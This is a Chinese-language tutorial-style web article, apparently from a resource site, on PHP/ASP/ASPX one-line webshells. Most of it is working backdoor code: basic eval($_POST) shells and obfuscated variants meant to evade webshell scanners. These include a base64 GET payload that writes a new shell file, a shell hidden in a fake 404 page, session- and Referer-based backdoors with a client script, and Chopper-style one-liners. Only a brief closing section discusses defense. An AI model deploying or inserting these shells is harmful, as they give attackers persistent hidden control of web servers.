一句话木马原理很简单,造型也很简单,所以造成了它理解起来容易,抵御起来也容易。于是黑白的较量变成了黑帽不断的构造变形的后门,去隐蔽特征,而白帽则不断的更新过滤方法,建起更高的城墙。
一、原理简述
对于不同的语言有不同的构造方法。
-
基本构造:最开头构造的是脚本开始的标记
-
核心部分:获取并执行得到的内容,通常类似eval、execute等
-
被执行内容:一般是http等协议接受的值,通常类似request、$_POST等
如果我们通过客户端向服务器发送被执行内容,那么就会让服务器执行我们发送的脚本,挂马就实现了。
/*asp一句话木马*/<%execute(request("value"))%> /*php一句话木马*/<?php @eval($_POST[value]);?> /*aspx一句话木马*/ <%@ Page Language="Jscript"%> <%eval(Request.Item["value"])%>
黑帽子的目的,就是想尽办法给目标网站插入这么一段会被储存起来的语句。可以是一个单独的脚本文件文件(.asp 、.php、.aspx ),或者是隐藏在某些网页下的文件、代码等。
其中的value 就是客户端要发送的内容,然后通过客户端与服务器建立连接,发送控制脚本。也会涉及到一些任意文件上传漏洞等。
二、简单变形
很明显的 eval 可以成为一个静态特征码,webshell扫描工具可以以此为关键词,扫描到这种木马加以屏蔽。于是可以简单变形不出现eval:
<?php $_GET['a']($_POST['b'])?>
同理,传给a值为 @base64_decode(base64编码过后的eval)。
<?php $_GET['a']($_GET['b']);?>
利用方法:
?a=assert&b=${fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29};
通过对GET请求的URL构造而形成利用,左括号和右括号是URL编码,解码回来如下:
?a=assert&b=${fputs(fopen(base64_decode(Yy5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x))};
PHP接收到GET请求后相当于执行一个assert函数,并把b作为assert的参数。b里面使用略php的base64解码函数,把部分信息通过base64编码而绕过扫描,解码后如下:
?a=assert&b=${fputs(fopen(c.php,w),<?php @eval($_POST[c]); ?>1)};
执行后当前目录生成c.php文件并写入一句话木马,这已经算是一个非常隐蔽的木马了。而在PHP 后门的变形之路上,远远不止这些,甚至可以自己定义一个加密解密的函数,或者是利用xor, 字符串翻转,压缩,截断重组等等方法来绕过。
三、变形改良
1.404页面隐藏木马
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html> <head> <title>404 Not Found</title> </head> <body> <h1>Not Found</h1> <p>The requested URL was not found on this server.</p> </body> </html> <?php @preg_replace("/[pageerror]/e",$_POST['error'],"saft"); header('HTTP/1.1 404 Not Found'); ?>
一般404页面放好后,很少有人会定期对404页面进行检查和修改。
如果在404页面挂上了一句话后门,一方面不会被发现,另一方面,黑帽子很容易能定位到并连接上服务器。
2.无特征隐藏PHP后门
利用session:
<?php session_start(); $_POST['code'] && $_SESSION['theCode'] = trim($_POST['code']); $_SESSION['theCode'] && preg_replace('\\\\'a\\\\'eis','e'.'v'.'a'.'l'.'(base64_decode($_SESSION[\\\\'theCode\\\\']))','a');
利用$_SEESION变量来绕过扫描,将$_POST['code']赋值给$_SESSION['theCode'],然后eval执行SESSION的内容。
利用HTTP_REFERER:
利用请求中的HTTP_REFERER来运行经过base64编码的代码,达到后门的效果,使用两个文件。
<?php //1.php header('Content-type:text/html;charset=utf-8'); parse_str($_SERVER['HTTP_REFERER'], $a); if(reset($a) == '10' && count($a) == 9) { eval(base64_decode(str_replace(" ", "+", implode(array_slice($a, 6))))); }
<?php //2.php header('Content-type:text/html;charset=utf-8'); //要执行的代码 $code = <<<CODE phpinfo(); CODE; //进行base64编码 $code = base64_encode($code); //构造referer字符串 $referer = "a=10&b=ab&c=34&d=re&e=32&f=km&g={$code}&h=&i="; //后门url $url = 'http://localhost/test1/1.php'; $ch = curl_init(); $options = [ CURLOPT_URL => $url, CURLOPT_HEADER => FALSE, CURLOPT_RETURNTRANSFER => TRUE, CURLOPT_REFERER => $referer ]; curl_setopt_array($ch, $options); echo curl_exec($ch);
访问2.php,会构造一个会话,进到后门1.php那里。然后在HTTP_REFERER 的内容也会传递给1.php,通过1.php 执行内容。一般来说,防火墙会对 referer字段宽松一些,就可造成绕过。
3.常见的后门
//菜刀一句话 $hh = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e"; $hh("/[discuz]/e",$_POST['h'],"Access"); //危险的include函数,直接编译任何文件为php格式运行 $filename=$_GET['xbid']; include ($filename); //重命名任何文件 $reg="c"."o"."p"."y"; $reg($_FILES['MyFile']['tmp_name'],$_FILES['MyFile']['name']); //菜刀一句话 $gzid = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e"; $gzid("/[discuz]/e",$_POST['h'],"Access"); //gif插一句话 //危险的include函数,直接编译任何文件为php格式运行, POST include ($uid); //典型一句话 <?php eval_r($_POST['s'])?> <?php @eval_r($_POST['s'])?> //使用lanker一句话客户端的专家模式执行相关的php语句 <?php assert($_POST['s']);?> <?$_POST['a']($_POST['b']);?> <?$_POST['a']($_POST['b'],$_POST['c'])?> //使用这个后,使用菜刀一句话客户端在配置连接的时候在"配置"一栏输入 <?php @preg_replace("/[email]/e",$_POST['h'],"error"); ?> <O>h=@eval_r($_POST1);</O> //绕过<?限制的一句话 <script language="php">@eval_r($_POST[sb])</script>
四、攻防
攻方:利用各种各样的绕过姿势,都是试图让扫描工具无效。
守方:分析各种各样的函数,寻找有效的特征码来防止后门。
黑帽子大牛:深入web框架内核,挖掘出代码缺陷,构造出复杂的后门利用。
安全审计人员:对那些通过GET,POST 获取的超全局变量,进行细致的追踪,构造合适的过滤器。
语义分析:对GET POST 等获取的值进行污染点追踪,以确保这些用户可控的值,不会未经过滤就得到了执行,或是进入数据库中。
针对超全局变量进行语义分析:
-
$_GET
-
$_POST
-
$_REQUEST
-
$_SERVER
-
$_FILES
-
$_COOKIE
-
$_SESSION
-
$_ENV
-
$GLOBALS
2. 分享目的仅供大家学习和交流,您必须在下载后24小时内删除!
3. 不得使用于非法商业用途,不得违反国家法律。否则后果自负!
4. 本站提供的源码、模板、插件等等其他资源,都不包含技术服务请大家谅解!
5. 如有链接无法下载、失效或广告,请联系管理员处理!
6. 本站资源售价只是赞助,收取费用仅维持本站的日常运营所需!
源码资源库 » 一句话木马原理与攻防_蜘蛛技巧_超级蜘-蛛-池